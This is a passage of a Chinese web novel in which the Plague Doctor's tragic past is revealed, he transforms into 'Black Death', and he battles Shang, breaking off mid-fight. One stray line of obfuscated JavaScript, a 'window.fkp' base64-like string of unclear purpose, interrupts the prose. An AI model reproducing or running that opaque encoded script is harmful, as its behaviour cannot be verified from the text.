伊靠着门坐在了地上望着天花板思考,她想站起身来推门走出去,但是有一种无形的力量使得她站不起来身。她心中的天平正在掂量着殇的好于坏,殇对于她来说有好也有坏,他的好坏几乎是一样的,这让伊一时下不定主意。 伊疑惑地说: “我该作何选择呢?是相信他,继续跟着他前进......还是默默离开呢?” 伊思考了一会,最后选择了相信殇。她留了下来...... 在他们寻找食物的途中,他们惊奇地发现这里的感染者似乎被某种力量直接抹杀了,他们在这一路上都没看到一个感染者,就连感染者会制造出的血迹也没看到。 殇: “诶?奇了个怪了?那些张牙舞爪的各色毛怪都跑哪里去了?怎么这一路上都没见着?是不是躲起来了?还是说都死光了?可是要是都死光了......那是什么杀死了他们呢?” 海王: “难不成是那道光束导致的吗?” 殇: “你这么一说,好像是。毕竟在那道光束出现之后我便再也没见到过感染者。” 海王: “这光束难道有杀死感染者的能力吗?这样的话那为什么我什么事都没有?” 殇: “难不成你这样不是疫病导致的?” 海王: “这倒还真有可能,毕竟我是怎么复活过来的我都不知道。” 到了日暮的时候,殇和海王带着些许柴火与一些能食用的蘑菇回来了。此时伊已经醒来多时,她很担心地在屋里来回走,似乎是在担心着什么。一见到殇他们回来,伊立马跑到了殇面前诉说了她的担忧。 伊着急地说: “殇!你终于回来了。快!我们快去另一边山顶的天文台!马婷婷和小鸟在那里!我担心那个叫疫医的人很可能会伤害她们。” 殇这时才想起他们来。殇恍然大悟道: “啊?我都忘了!才想起来那个小姑娘和那只鸟不在我们身边。” 海王问殇: “那我们还在这里吃晚饭吗?” 殇思考了半秒,说: “不了吧,毕竟还有人没救呢。” 海王放下手中的东西,说: “那这些东西我们就先放在这里吧,到时候回来再说吧。” 伊急切地说: “殇,事不宜迟,我们现在就去吧。” 殇叹了口气,说: “哎......今天的事可真多啊......走吧,我们去救那个小崽子。” 说完,殇和海王放下收集来的东西,带着伊在日暮下开始了赶路。在太阳完全没入地平线下之前,殇他们来到了天文台前。这个天文台不算太大,但是很高,它的高度差不多得有七八层楼那么高。此时,天文台中传出了老式唱片机的舞曲声,这听起来有些怪诞,毕竟谁会在天文台里放音乐呢?而且放的还不是新式的音乐,而是老式的舞曲。 殇疑惑地说: “这里面怎么在放舞曲?是有人在里面跳舞吗?那家伙的兴趣可真是奇怪啊。” 殇他们走进了天文台之中,在他们走进天文台的那一刻,一个为他们准备好的机关触发了。只见一把机械弩对着殇他们发射了三根麻醉箭,殇瞬间反应了过来,身体本能地用侧闪躲开了麻醉箭,同时还不忘推开一旁的伊。 伊和殇成功躲开了麻醉箭的袭击,但是海王就没那么幸运了,由于反应不及时,海王被麻醉箭击中,然后站了不一会就倒下了。殇走到海王身边查看情况,发现海王只是晕厥了过去,殇松了一口气。 殇: “看样子这家伙早就料到我们会来!这是狡猾啊!” 伊: “殇,海王他没事吧?” 殇: “没事,只是晕了过去而已。” 伊: “那我们还要上去吗?” 殇: “当然得上去了,不然怎么把马婷婷她们救出来?” 伊: “那海王怎么办?” 殇: “就让他在这躺着吧,反正这里也挺安全的。” 伊: “这样没问题吗?” 殇: “放心,没问题的。” 说完,殇带着伊就向着天文台的顶楼走去。在他们走到第四层的时候,他们看到了分别被关在巨大储罐之中的马婷婷和那两只鸟。 伊: “找到了!殇,在这里。” 殇见此二话不说直接避雷针劈开了这三个巨大储罐,接着救出了被关在里面的马婷婷和那两只鸟。此时的马婷婷和那两只鸟还处在睡眠的状态。殇见此想到了一个最佳的处理办法,他来回上下两次把熟睡之中的马婷婷和那两只鸟跟晕厥过去的海王放在了一起。 伊: “这样......真的好吗?” 殇: “管他呢,反正到时候一起运出去就行了。” 伊: “那么我们接下来撤退吗?” 殇: “不,现在不是撤退的时候。我得找那个叫疫医的家伙算一笔账。” 伊: “你确定吗?我们现在已经可以离开这里了。” 殇: “我确定,我必须找他算账。我这人从来都不受气,所以这账必须算。” 伊: “用我帮你吗?” 殇: “额......不用了,我怕你再放个直冲云霄的大柱子给我秒杀了。” 伊: “大柱子?什么大柱子?” 殇: “额......到时候再跟你解释吧。对了,你还能再次使用之前你对马婷婷的那招吗?” 伊: “哪招?” 殇: “就是把她从叛逆小孩变成我们朋友的那招。” 伊: “那个不是什么招数。我只是给了她一个爱的拥抱而已。” 殇: “反正就是差不多,就那种东西。到时候你看你能不能去给他一个爱的拥抱什么的,这样也许能让我们多一个朋友。” 伊: “行。” 说完,殇带着伊一路听着舞曲走到了天文台的最顶上。当他们来到那里的时候,他们看到了疫医以及在天文望远镜旁边竖立着的巨大储罐。 疫医此刻背着手凝望着那个储罐之中那些发着淡蓝色微光的液体,他的身影看起来格外的苍老,仿佛经历了这世间的一切沧桑。这个储罐周围有着许多管道以及许多认不出来的装置,看起来很高科技,储罐之中有着一种念不出名字的淡蓝色液体,这种淡蓝色液体发着一种很美丽的幽光,看起来就跟闪闪发光的宝石一样。 疫医听到殇和伊到来的声音之后摇了摇头,紧接着对着那个储罐开始了自言自语。殇此时想要上前去找疫医算账,可伊伸手拦住了他,并用眼神示意他先看看情况。殇停了下来,静静地和伊聆听着疫医的自言自语。 疫医深情地说: “在那场浩劫之中,我是唯一的幸存者。我所有的同事都死去了,只留下我一人艰苦奋战。疫病的感染力与进化能力超出我们的预期,它们比我们想的要强上太多了,就连核心的力量也没法战胜。新出现的潘多拉病毒夺走了我们许多人的生命,同时也夺走了她的生命。” 疫医苦笑三声,说: “我真佩服紫渊啊,她竟然可以让自身的病毒发展到可以感染核心的地步,真是厉害啊......” 疫医低下头,自我质疑道: “我曾经努力过,奋斗过,到头来换来了什么呢?我换来的难道是我身边的战友一个个地离开我,无尽的痛苦缠绕着我吗?” 疫医按下了那个储罐旁边的按钮,接着整个储罐内部的液体开始压缩,压缩好的液体由一根管子输送到了储罐旁边桌子上的药瓶之中,最后这个储罐之中的所有蓝色液体变成一瓶发着十分美丽的淡蓝色幽光的液体。 疫医拿起了这瓶药水,转身用一种悲情的眼神看着伊和殇。 疫医深情地说: “我曾试遍了所有的办法,但都无济于事。就仿佛这疫病是神创造的一样......本来我是坚信科学是正确的,但后来我改变了想法,因为科学不能解决问题。为此......我做了一件极其荒诞的事。” 疫医突然激动地说: “我这个身披科学家大衣的科学家竟然会去研究最不科学的童话与传说?!” 疫医情绪恢复正常,他沮丧地说: “到头来,我所信仰的一切都只是这雨中的浮云罢了。” 疫医高举手中的药瓶,痴痴地说: “看啊,它是多么美丽啊!多么让人陶醉啊。你敢相信它是由一种违背科学常识的炼金学秘术研制出来的吗?你一定不信吧,起初我也是不相信的。可后来......” 疫医闭上了双眼,静静地思考。 疫医深情地说: “当我研究出它的时候,我才知道我是个傻子。我一直信仰的、迷恋的、为之努力的还不如这一瓶靠生命换来的禁药。我们可真傻啊,一直迷失在自己的‘童话’里,一直认为童话就是童话,传说就是传说,那些都是不实际的东西。” 疫医沮丧地说: “可......到头来,那些我们所认为虚构的,才是真实存在的,而我们认为真实存在的,才是虚构的。” 疫医痛苦地说: “我还能说些什么呢?除了慨叹自己和战友的不幸......就是慨叹这个世界的不幸......” 疫医打了个响指,他右手边的地面上出现了一个裂口,接着一个冬眠仓缓缓从这个裂口中缓缓升起。疫医缓缓打开了冬眠仓,冬眠仓内是一位全身长满紫色荆棘的女科学家,她一动也不动,看样子也是个被疫病折磨致死的可怜人。疫医很深情地用手摸了摸她的脸,他的眼神之中很是不舍,但又无可奈何。她已经死了,死了很久了。 疫医对她深情地诉说: “我做到了,我完成我们当年许下的诺言了......你看到了吗?治好一切的解药已经被我研究出来了!我们......” 疫医露出辛酸的笑容,说: “可以去拯救这个腐化的世界了。” 疫医沉默片刻,悲伤地说: “......可你们,再也回不来了。我所做的一切,没有人会见证了。真是够可怜的呀......” 疫医把手中的药瓶在她身体上方轻轻一横,倒出了一滴如宝石一般的药水,然后这滴药水滴在了她的身上。在药水滴在她身上后,她的躯体快速融化,就如同在高温情况下融化的雪一样,最后她变成了一滩暗红色的血水。 疫医此刻心情很是复杂,他一时不知道下一步该做什么了。过了几秒,他继续开口说话。 疫医深情地说: “既然答应了所有人,那我就要说到做到......我不求什么功名利禄,我只期望这个世界的人们可以不用担心这该死的疫病......” 疫医突然话锋一转,批判道: “你们从来不理解我的痛苦,你们也从知道我们的存在......这个世界的人们从来都不会去怜悯一个与自己毫不相干的人。可怜,可悲,愤怒,哀伤......这些东西都曾出现在我的身上。” 疫医沉默了片刻,而后沮丧地说: “......我曾经努力与命运抗争,得以才走到了现在。我自甘堕落为无人区的恶鬼,只为了拯救我所珍视的一切。可到头来我才发现,一切都是徒劳无功的。一切就如同一场虚幻的梦境一样......” 疫医迷茫地说: “最后留给我的是什么呢?一段美丽且痛苦的痛苦的童话罢了。我还能作何选择呢?覆水难收啊!也许,这就是我的命吧......” 疫医悲叹道: “哎......可悲啊。” 疫医很悲伤地用颤抖着的手摘下了他的鸟嘴面具,露出了他那张历经世间沧桑而苍老的脸。他的脸上有着许多皱纹,时间摧残他所留下的痕迹还历历在目,他黄色的皮肤上有着许多伤疤,这些伤疤都是他为了实验所受的伤。他的那双褐色的眼睛曾经闪烁着梦想的光辉,可现在变成了一双黯淡无光的眼睛。他的表情很是悲伤,他的脸上还有泪痕,看起来他曾经哭过,他也是个被现实摧残到崩溃的人。 在此刻,奇异的光芒再次出现在伊的周围,紧接着她和殇的眼前出现了疫医的记忆世界..... window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 青兰国—最终话:覆水难收 楚他们坚持了很久,这段时间里他们依旧保持着当初的决心与毅力,他们仍然相信可以凭借努力就能实现他们的梦想。时间一天天过去,实验进度丝毫没有进展,这让他们十分苦恼。他们的实验遇到了一个很大的问题,这个问题是导致实验进度停滞的根本原因,他们试着在各个方面去突破眼前的问题,可是无论他们怎样研究与实验,眼前的问题就如同一座屹立不倒的大山,怎么都推不倒。 在日复一日年复一年的研究之中,他们的精神渐渐接近崩溃,前所未有的失败感笼罩在每个人的心头,一种如同大山压在心上的压迫感使得他们情感波动渐渐降低。 一段时间后,他们之间的语言越来越少,最后他们只剩下了在研究时必要的语言,仿佛他们每个人都被隔绝开了一样。他们彼此之间想说些什么来舒缓一下情绪,但他们早就忘了该怎么让彼此感受到放松了,所以他们聊的东西只有跟研究有关的事情。 他们之中一直有个例外,那就是那名叫做露露的研究员。无论这一天的心情有多糟,露露依旧会笑着与每一位研究员进行聊天,虽然聊的东西很无聊,但是起码能使气氛变得不那么枯燥。 这日,露露在早晨偶遇到了楚。 露露笑着对楚打招呼: “早安,楚。” 楚一脸漠然地回应: “早安,露露。” 露露微笑着说: “楚,别板着脸了,试着笑一笑吧。” 楚冷漠地回应: “笑一笑?我现在心情很糟糕,我笑不出来。” 露露微笑着说: “笑一下吧,笑容能让你振作起来的!” 楚冷漠回应道: “我试试吧。” 楚做出了苦笑的表情,露露看到楚露出笑容后露出了甜美的笑容。她的行为虽然没使楚振作起来多少,但是起码让楚的心情稍微变好了一点点。此刻,楚看着露露甜美的笑容陷入了沉思,他不明白露露为什么能在这个时候还能笑出来。 露露微笑着建议楚: “楚,以后你每天都试着笑一笑,这样有利于你的健康。” 楚冷漠地回应: “好,我每天尽量试一试吧。” 之后的日子里,楚按照露露的建议试着每天都笑一笑,虽然这对楚的生活改变不大,但是楚还是很乐意笑一笑的,毕竟他渐渐能让自己变得不那么糟糕与冷漠了。露露也试着让其他人每天都笑一笑,但是其他人的成效都没有楚明显,这让露露很是苦恼。 冷漠与挫败感依旧笼罩着每个人,这种感觉使得他们渐渐失去了情感与强大的精神力,但是有两个人是例外,一个是露露,一个是楚。日子还是那样,实验进度依旧没有进展,每个人依旧生活在挫败感与冷漠之中。 不知过了多久,一场突如其来的劫难突然降临到了他们的头上。 那是个夜黑风高的夜晚,所有人都回到了员工居住区去准备睡觉,就在这个时候,斯拉夫突然想起了他忘记拿走的实验资料,他跟所有人说了一声之后便回到了实验室之中取资料。过了一会,程子韶没见他回来,便自告奋勇去找斯拉夫。 过了一会,只听两声清脆枪响与一声惨叫从实验室中传出,之后便没了动静。楚他们刚想去实验室去找程子韶和斯拉夫,这时程子韶突然出现在了楚他们的眼前。程子韶身上全是血迹与少量的紫色荆棘状物体,他的神情很是悲伤与慌张,他手里拿着一把防身用的小口径黑色手枪。此时所有人都注意到他拿着枪的那只手正在拼命颤抖着,同时他的脸色十分难看,仿佛是经历了一场令他今生难忘的噩梦。 米洛担心地问: “程子韶,发生什么事了?” 楚也担心地问: “你怎么手里拿着枪?实验室那边怎么了?” 露露非常担心地问: “程子韶,出什么事了?斯拉夫他没事吧?” 程子韶没说话,只是低着头看着地面。过了一会,他缓缓开口告诉了楚他们实情。 程子韶惊恐地说: “斯拉夫他......被突然冲进实验室的紫渊感染者袭击了。之后......他和紫渊感染者同归于尽了。” 米洛一脸惊讶,难以置信地说: “那怎么可能?!我们这所机构明明关闭了所有的出入口!” 程子韶惊恐地解释道: “我顺着紫渊感染者来时的痕迹一路追去,最后看到了本应该关闭的机构大门竟然打开了,而且门外不远处还有只紫渊感染者正在向这里奔来。我为了防止更多紫渊感染者进入机构,我拿着枪冒险去关门,结果晚了一步。它已经进来了,我只好用枪射杀了它,之后我便关上了大门。但......在这个过程中我不幸被它抓到了几下。” 楚疑惑地问: “大门怎么是打开的?我们明明封死了一切出入口啊!” 接着程子韶用颤抖的声音告诉了楚他们一个令他们难以相信的事实。 程子韶解释道: “是斯拉夫的一个同伴打开的大门,他们想要密谋逃跑。” 米洛惊讶地说: “什么?!你怎么这么确定?” 程子韶点点头,说: “因为我在斯拉夫的储物柜里找到了一份逃出这个岛屿的计划书......” 这件事很快传开了,所有人都知道了斯拉夫和一位实验员想要逃跑的事情。管理这里的曹知道这件事之后立马对整所机构展开了清洁,接着提高了大门打开需要的权限等级,保证除了他以外没人可以擅自离开。 此事之后楚发现程子韶开始变得不对劲,他的行为渐渐变得诡异,他在洗澡的时候经常都是第一个去,最后一个回来,而且他非常不想让别人看到他的后背,仿佛他的后背上长了什么见不得人的东西。 在一天的下午,楚无意间路过了程子韶的房间,房间的门当时是开着的,楚往里面看了一眼,只见程子韶的全身是血地躺在床边,另一只手里还拿着一把手枪,地上还有着一个弹壳。 毫无疑问,程子韶自杀了。 在处理程子韶尸体的时候,处理尸体的研究员注意到程子韶的背上有着一些紫色荆棘状物体。研究员们由于好奇就取了一些这种紫色荆棘状物体放在金属盒子中密封,准备拿来进行实验,之后程子韶的尸体就被扔掉了。 就在程子韶自杀后不久,研究机构内的人之间开始出现一种奇怪的病症,起初是咳嗽,后来在他们的背部也开始生长这种紫色的荆棘状物体,再后来他们的核心开始被侵蚀。由于每个人之间都不经常说话,就导致等发现这一现象的时候已经是为时已晚了。 在很久之后,这所机构就剩下了楚一个人。楚一个人在这里默默地忍受了很久的孤独与寂寞,这一忍,就是几十年。他本来还有个能够与他聊天的朋友露露,可后来她也感染了疫病,最后死去死在了楚的面前。 楚的心语: “我那时已经是无依无靠了......我和我的战友们曾经一起与这该死的疫病战斗,我们竭尽全力去战斗。但最后,我们输了,输的很彻底。命运嘲讽了我们,特意让我这个已经没用的人活下来见证了这一切,让我独自一人承担着这痛苦。” 楚死死地握着已经奄奄一息的露露的手,作为曾经一起与疫病奋战的战友,楚很是舍不得露露离开这个世界。楚此刻穿着防化服跪坐在即将被疫病折磨死的露露身旁,虽然隔着防化服,但两人的心却紧紧地靠在一起。 楚忍住心中的悲痛,安慰露露道: “挺住!露露,我能救你的。” 露露绝望地告诉楚: “不......楚,我已经没有希望了。” 楚知道结果如何,但他还不放弃希望。他安慰露露道: “说什么丧气话!别放弃,我能做到的!相信我,相信我好吗?” 露露艰难地露出一抹笑容,绝望地说: “我相信你......但,这就是命啊。” 楚眼睛泛着泪光,他已预见露露的命运。他安慰露露道: “别放弃......我能救你的!” 露露深情地嘱咐楚: “我的路到了终点,而你的还没有。记住我们的使命......你一定要研究出治好一切的解药,不要......不要让我们的努力付之东流。” 楚点点头,说: “我知道......” 露露看着眼角流出泪水的楚,她的眼角也流出了泪水,她也很舍不得楚这个老战友,但是命运已至,她不得不接受这个现实。 露露痛苦地笑了,那一刻的笑容令楚心痛。露露请求楚道: “楚......笑一笑好吗?我想再看一眼你的笑容......” 楚听到露露这么说,十分费力地在脸上挤出了一个笑容来回应露露的要求。 露露痛苦地露出一抹微笑,问: “楚......请答应我一件事好吗?” 楚点点头,说: “说吧,我答应你。” 露露痛苦地微笑着请求道: “楚......请你以后笑着去面对这个世界好吗?” 楚点了点头。 露露苦叹道: “这个世界注定很美丽,但也注定很残酷......” 露露对着楚露出了十分温柔的笑容,接着她闭上了双眼,永远地与世长辞了。 回忆如同潮水一样冲刷了他的心灵,让他感慨万千。他战友的一张张笑脸出现在他的眼前,这让他感到了深切的悲伤。他们一起许下承诺时的景象出现在他的眼前,这让他重新燃起了斗志。 即便现实是那么的残酷,他们的命运是那样的悲惨,但他们从未放弃过与命运做抗争。他们许下了常人不敢许下的承诺,并向着遥不可及的高山发出了挑战。他们很可悲,但也很伟大。他所珍视的一切都如同没入深渊的石头,再也回不来了。 疫医的心语: “肩负重任,覆水难收。我曾许下的承诺,我注定要完成。答应她的事,我必然做到。答应大家的事,我一定会做到。答应这个世界的事,我即使拼尽性命也要做到。既然我都走到了这里了,那就没必要停下了。” 回忆结束,殇和伊的视线回到现实。 疫医喝下了手中的药水,接着他突然单膝跪倒在了地上,同时他的身上出现了正在涌动淡蓝色的闪电,一股强大的能量涌入了他的体内。他的核心闪烁着耀眼的光芒,在月光的照耀下,他的身影变得如同一位凝望着将死之人的死神一样令人胆寒。 疫医的核心: “警告!核心能量控制系统出错!核心能量超出控制范围!请周围非战斗人员立即撤离!请专业的核心使者前来抑制核心暴走!” 一阵冰冷刺骨的阴风吹过,伊和殇不禁哆嗦了一下。天空中雷声大作,一道道雷光照在了疫医身上。强大的能量汇聚在疫医的身边,之前的那种黑色未知物质出现在疫医的身旁,疫医张开双臂,张开手对着那黑色的未知物质。这些黑色的未知物质开始汇聚,一股十分强大的能量涌入了这些黑色物质,许多淡蓝色的线条在黑色物质旁边旋转,在几秒之后,两把黑色的长柄镰刀出现在疫医的手边。 疫医的双手一手一把抓住了这两把长柄镰刀,在他接触这两把长柄镰刀的瞬间,长柄镰刀的刀刃与其连着的组件发出了耀眼的淡蓝色光芒,同时许多跃动的淡蓝色闪电出现在这把两把长柄镰刀上。 疫医站起身来,一把摘下了头顶的礼帽,解开了斗篷上的扣子,并戴上了头蓬殇的兜帽。他身上的衣服瞬间变了样子,他里面穿着的破旧的青色短袖变得更加破旧,他下身穿着的裤子变成了破旧的短裤,他的胸前多出了一个颅骨项链,这个颅骨项链的眼洞在向外发着耀眼的淡蓝色光芒,看起来格外的帅气与令人毛骨悚然。 意义露出了十分诡异且阴森的笑容,接着他那双眼睛与他的嘴发出了淡蓝色光芒,看起来格外的渗人与帅气。 疫医微笑着说: “这个世界注定很美丽,但也注定很残酷。吾名,黑死神。” 死亡的气息围绕着他,阴霾笼罩着周围的空间,冰冷刺骨的寒风吹过周围,闪电的光辉照在他的身上,一种压得人喘不过气的压迫感充斥在周围的空间之中。此刻的他,宛如一位从阴曹地府中来到人间的死神。 伊很害怕地说: “好......好吓人......” 殇冷静地说: “这种压迫感我从未感受过,看来......是个能让我认真起来的对手啊。” 殇回头看了一眼此刻被吓得双腿发抖的伊,他出于担心,走到了伊的面前告诉伊让她先走。 殇冷静地说: “你先走,这个家伙可不是你能够对付的。到时候等他倒下了,你再过来,听到了没有?” 伊点了点头,说: “好......那你小心,殇。” 殇露出自信的笑容,说: “放心吧,我可没有你想的那么弱,菜鸟。” 说完,伊离开了这里。在送走伊之后,殇转身直面黑死神。黑死神看着殇似乎很高兴,他甚至没有先动手攻击殇,仿佛他心里有一万件令他开心的事想要对殇说。 黑死神狂笑道: “哈哈哈!这种感觉太爽了!这比我这辈子经历过最爽的事情还要爽上1000倍!你明白这种感觉吗?成功的感觉,释放的感觉,失而复得的感觉!” 殇一脸嫌弃地说: “不知道你又在说什么疯话,但听起来你好像还挺开心的。你变脸可变得真快啊,我还记得你之前还愁眉苦脸呢。” 黑死神狂笑道: “哈哈哈!那都过去了......眼前的的事对我来说才最重要。我过去所承受的孤独,所受的伤,所经历的痛苦,都在这一刻全部消失了!万灵药的力量......是最强大的!虽然纯度只有28%,没有传说之中的98%那么浓,但也是足够了。” 殇若有所思地说: “万灵药?似曾相识的名字......” 黑死神狂喜,说: “哦?你也知道万灵药。看样子我们是知己啊!” 接着,黑死神细细地向殇介绍道: “你知道万灵药是拿什么练成的吗?生命,生命的精华!最疯狂也是最美丽与纯粹的东西!为了这小小一瓶,我亲自在八百名感染者的尸体内辛苦提取了这些生命精华!在我看来,这一切都是值得的!因为我做到了!我完成了我当初许下的诺言!虽然万灵药会杀死变成活死人的感染者......” 黑死神耸耸肩,说: “但那都没关系了!” 殇一脸嫌弃地说: “咦~你可真是疯狂啊!跟个精神病人似的。” 黑死神狂笑道: “在这个世界之中,谁还不是病态一般的疯狂呢?每个人都有病!每个人都需要治疗!这个世界需要死亡,需要能带走瘟疫的死亡!只有杀死所有感染者才能彻底终结这场大疫灾。这是最佳的解决方式,也是我将会去执行的最后的任务。” 黑死神突然指着殇,问道: “你叫殇对吧?” 殇疑惑地问: “你怎么知道我的名字?” 黑死神笑笑,说: “没有什么是我不知道的......该死的老家伙。想必你现在一定失去了记忆,并且附身到了一个十分脆弱的士兵身上。而你所附身的士兵,就站在我的面前。我说的......对吗?亲爱的混蛋殇先生?” 殇咬了咬牙,说: “操!你真什么都知道啊......” 黑死神狂笑道: “既然你都大驾光临了,那么就请你协助我完成我的第一次狩猎吧。让我感受一下万灵药能带给我究竟多么强大的力量!狩猎......开始!” 黑死神将两把镰刀插在了地上,瞬间张开双臂,将能量汇聚到了双手之上。此时黑死神的身后出现了三个发着淡蓝色光芒的六边形组合图案,接着两个只有三层套环的全息空间环出现在黑死神的双手上。殇一眼认出了眼前的图案与空间环的由来,他的残存的记忆告诉他当这种图案与空间环出现的时候就是即将被传送的时候。 殇惊讶地说: “蓝色空间的科技?你是怎么弄到......” 黑死神狂笑道: “想不到吧!我在这些年偷偷研究了关押紫渊的装置,顺便学会了怎么使用这种装置来达到瞬间移动的目的。接下来,跟我一起去外面看星星吧!” 说完,黑死神激活了空间环,将殇和他传送到了天文台隔壁的观察室的宽阔的房顶上。此刻,乌云已经散去大半,天空中只有几朵小乌云还在依依不舍地盘踞在夜空中。夜空中的繁星照耀着两人,皎洁的月光照在他们两人的身上。夜晚清凉的空气使得他们十分精神,阵阵寒风使得他们一刻都不敢放松。 黑死神狂笑道: “该吃药了!殇。” 黑死神侧拎着手中的镰刀,看上去气势十足。他率先发起了进攻,他一个健步加左右横跳来到殇面前,对着殇就是一记x斩杀,殇瞬间做出反应,立马掏出背上的避雷针,将避雷针横在身前,胳膊往前一伸直直接招架了黑死神的攻击,这使得黑死神的镰刀被弹开了。 就在黑死神镰刀被弹开的一瞬间,殇将身一侧,做出蹲马步的姿势,接着一个步兵下划砍砍向了黑死神,黑死神一个极快的后撤步躲开了这一下。殇见此瞬间松开右手,握住左手边的位置,双手快速用力将避雷针以回旋的方式扔向了黑死神,黑死神瞬间做出反应,将两把镰刀以极快的速度交差横在了身前挡下并弹飞了避雷针。就在黑死神挡避雷针的时候,殇的手边出现了金色的线条。 殇: “激活E协议,生成Emw-10,仲裁者之锤!” 那些线条瞬间组成了一柄大锤的框架,接着在注入核心能量之后形成了一柄有着五个发光眼睛与一个巨喙的黑色羽毛大锤。殇双手握住这柄大锤,接着他压低身体,一个健步冲向了黑死神,他侧身轮动手中的大锤,对着黑死神狠狠来了一锤,直接将黑死神横在身前镰刀打分开了,同时黑死神后退了五六米。殇抓住这个时机,一把抓住了空中的避雷针,接着直接甩向黑死神,同时一个健步冲向黑死神,并轮动手中的大锤准备给黑死神再来一锤。 黑死神见此丝毫不慌,他先将左手拿着的镰刀插在地上,掐准时机直接抓住避雷针,后将避雷针扔到了战斗场地之外,防止殇把避雷针捡回来。就在此刻,殇一个冲刺来到了黑死神面前,并用力将手中的大锤对着黑死神挥了过去,黑死神瞬间用左手拔出地上的镰刀,接着一个上挑弹飞了殇手中的大锤,然后用右手的镰刀使用一记镰刀重砸砸向了殇,殇瞬间反应一个后撤步想要闪开,但是他后撤的速度没有黑死神镰刀的速度快,黑死神镰刀的刮到了殇右肩膀处。这一下使得殇的右肩膀上出现了一道很长的伤口,鲜血从伤口之中流了出来。 殇见此咬了咬牙,然后再次激活E协议召唤出了Emw-67亚特兰蒂斯,趁着黑死神现在没时间防御,对着黑死神的胸口直接刺了过去,黑死神见此想要后撤闪开这一下,但是没等他开始后撤,亚特兰蒂斯就已经刺中了他,只不过刺中的位置是他胸前的头骨项链。在头骨项链碎得四分五裂的瞬间,殇汇聚核心能量,让亚特兰蒂斯释放了许多道闪电光束,黑死神没能及时躲开,全部接下了这些闪电。黑死神被电得开始抽搐,但他的本能意识还是使得他在亚特兰蒂斯刺入他胸口前让他一个大后撤躲开了剩下的闪电光束以及亚特兰蒂斯的刺击。殇此刻感到伤口传来了一阵剧痛,他用手摸了摸自己的伤口,他惊奇地发现自己的血液之中有着一种绿色的物质,看来瘟疫已经开始侵入他的身体了,接下来他必须速战速决了。 殇: “操......老子跟你玩够了!” 殇召唤出了另一把亚特兰蒂斯,他握紧手中的亚特兰蒂斯,做好了战斗的架势。他开始认真了。黑死神见此露出了阴森的笑容,接着挥舞着镰刀冲向了殇,殇握紧手中的亚特兰蒂斯也冲向了他。黑死神对着殇一个x斩杀砍了过去,殇似乎不慌,一个后撤接反向蹬地前冲一个步兵刺击刺向了黑死神,黑死神没能及时反应,用身前的头骨项链接下了这一击,他胸前的头骨项链直接变成了一堆碎块。 黑死神对着殇来了个左右斜砍准备像剪刀剪纸一样将殇剪成两半,但是殇在他做出斜砍姿势的一瞬间就做出了反应,他通过后撤步直接躲掉了黑死神的攻击。黑死神在完成斜砍之后身体微微前倾,紧接着一个健步加双镰下砸砸向了殇,殇瞬间思考好对策,他将左手的亚特兰蒂斯扔到空中,接着对着地面来了一拳直接将他击飞到了半空之中,他顺利躲开了这一次攻击。殇在半空中抓住之前扔出去的三叉戟,然后双手弯曲举过头顶以一个渔夫准备叉鱼的姿势对准了黑死神,他快速汇聚核心能量,使得闪电在三叉戟上涌动。 此刻他是渔夫,而黑死神则是鱼。 殇: “雷暴重击!” 殇使出全部的力气对着在地面上的黑死神狠狠地刺了过去,黑死神见此压根来不及反应,但他的本能意识还是使得他通过后撤躲开了殇的刺击,但是攻击还没有完全结束,在殇手中的三叉戟插入地面的瞬间,一道威力巨大的闪电斜着劈了过来,直接给予了黑死神重创。黑死神一时之间被电的失去知觉,他的眼前突然一黑,他的耳朵里回响着震耳欲聋的雷声,此刻他的本能意识还在促使着他一直后撤。 殇在落地之后瞬间起身拔出插在地上的三叉戟,像扔标枪一样把手中的两把三叉戟扔向了黑死神,黑死神此刻没有机会躲开,他直接用身体接下了这两下。在三叉戟命中目标之后,殇压低身体,一个冲刺冲向了黑死神,顺带在路上捡起了那柄黑色的大锤,他双手握紧大锤,对着黑死神狠狠来了一锤。这一锤直接打醒了黑死神,并且把他差点击飞到战斗的场地外面。 黑死神在清醒过来后的第一件事就是拿出腰间的万灵药,接着一口喝得只有小半瓶,之后他拔出插在身上的两把三叉戟,露出了阴森的笑容。他身上的伤口瞬间痊愈,并且他获得了双倍力量。 黑死神: “你可曾见过如此美丽的东西?!你可曾见过此等奇迹?!哈哈哈!我现在又痊愈了!接下来,准备迎接我的致命攻击吧!我真是他妈的爽到不行了呢!” 黑死神握紧手中的镰刀,接着一个极快的冲刺冲向了殇,殇见此瞬间轮着大锤也冲向了他。电光火石之间,黑死神手中的镰刀以极快的速度对着殇挥了过去,殇挥动大锤弹开了他的镰刀,几乎是在瞬间黑死神另一只拿着的镰刀也挥向了殇,殇将大锤横在身前挡下了这一下,紧接着黑死神对着殇开始了极其快速地连续斩击,其频率极其快,殇压根没有攻击他的机会。殇一个后撤试图拉开他与黑死神的距离,但是黑死神穷追不舍,他后撤,黑死神就往前冲刺,这让殇第一次感受到了一丝压力。 黑死神: “我的死神连斩怎么样啊?还能不能挺住啊?挺不住就放弃吧,早点上路多好啊!” 面对黑死神接近无缝的连续攻击,殇只能用大锤格挡,但是大锤的耐久也是有限的,在抗了不到20秒后,大锤的锤柄出现了裂缝,这让殇感到了危险。如果殇在一直格挡下去,他的大锤终究会有一刻会被他所切开,并且他被切成肉馅的。 殇心里: “事到如今,也只有那招了。” 殇的核心开始涌动红色的闪电,一股强大的能量汇聚在他的全身,接着一道红色脉冲闪电直接从他的核心向外迸发,这道闪电直接将黑死神向后退了七八米。此刻,血红色的薄雾弥漫在周围的空间之中,诡异的红色光芒照耀着周围,强大的能量在周围的空间涌动。一柄黑色的大锤和一件黑色的仲裁者服装悬浮在殇的上方,突然间,一道红色的闪电劈在了殇的身上,使得殇周围形成了一个光球,然后这柄黑色的大锤和这件黑色的仲裁者服装瞬间变成了两个光球,紧接着进入到了这个光球之中,这个过程只用了不到5秒的时间。 殇: “E协议,突变连接!” 